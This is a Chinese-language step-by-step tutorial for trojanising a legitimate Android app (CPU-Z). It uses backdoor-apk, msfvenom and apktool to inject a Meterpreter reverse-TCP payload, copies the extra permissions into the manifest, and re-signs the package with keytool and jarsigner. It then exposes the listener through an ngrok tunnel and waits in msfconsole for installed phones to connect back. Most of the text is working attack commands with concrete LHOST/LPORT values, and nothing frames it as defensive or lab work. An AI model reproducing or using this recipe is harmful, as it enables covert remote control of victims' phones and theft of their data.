1.工具准备
kali Linux
backdoor
ngrok服务器一台
apktool
测试APP:cpu-z
2.处理环境
apktool更新: https://ibotpeaches.github.io/Apktool/ 下载后改名为apktool.jar 覆盖掉原/usr/share/apktool/apktool.jar
backdoor下载:命令git clone https://github.com/dana-at-cp/backdoor-apk.git
进入https://www.ngrok.cc,下载Linux 64位端口转发工具,移动到桌面备用
终端进入桌面运行 : ./sunny clientid 隧道id
进入backdoor目录: cd /backdoor-apk/backdoor-apk
下载cpu-z,改名为1.apk,将1.apk拖到/backdoor-apk/apkdoor-apk
运行backdoor: 输入 ./backdoor-apk.sh 1.apk,按此图中输入,将IP换为ngrok域名,端口设为ngrok端口
找到payload注入后的apk文件 /backdoor-apk/backdoor-apk/original/dist
改名为2.zip 移动到根目录下,用压缩软件打开。删除META-INF文件,退出。然后再将2.zip改为2.apk
apktool进行反编译: apktool d /root/2.apk 会生成一个2文件
更改权限:打开AndroidManifest.xml,用msfvenom -p android/meterpreter/reverse_tcp LHOST=10.161.94.25 LPORT=4444 -o obj.apk 命令生成一个木马后门obj.apk,进行反编译,打开AndroidManifest.xml将下图所示代码复制到 /root/2/AndroidManifest.xml 文件下相同位置(注意不能重复)
重新打包: 命令: apktool b /root/2 会在/root/2/dist下生成一个2.apk 已示区别改名为3.apk并移动到根目录
对打包文件进行签名:
先生成签名证书: 命令: keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore android.keystore
参数说明:
-genkey 生成文件
-alias 别名
-keylog 加密算法
-validity 有效期
-keystore 文件名
签名: 命令: jarsigner -verbose -keystore android.keystore -signedjar 3_signed.apk 3.apk android.keystore
参数说明:
-verbose 如果它出现在命令行中,则代表“verbose”模式,它使 jarsigner 在 JAR 签名或校验过程中输出额外信息。
-keystore 指定密钥仓库的路径
-signedjar 指定用于已签名的 JAR 文件的名称。(覆盖)
此时后门已添加完毕,下一步,打开 msf 控制台,设置好监听参数后,等待上线。打开终端,输入命令 msfconsole,回车。进入 msf 控制台。
输入命令 use exploit/multi/handler,回车。
输入 set PAYLOAD android/meterpreter/reverse_tcp,回车。
输入 set LHOST 内网ip,回车。
输入 set LPORT ngrok映射的本机端口,回车。
输入exploit 启动监听
将apk文件安装到安卓手机,大功告成,等待安卓机上线。
注意:如果你Kali linux的内网IP变了,可以直接在ngrok修改成你的内网IP然后在set LHOST设置成你内网IP然后run监听即可。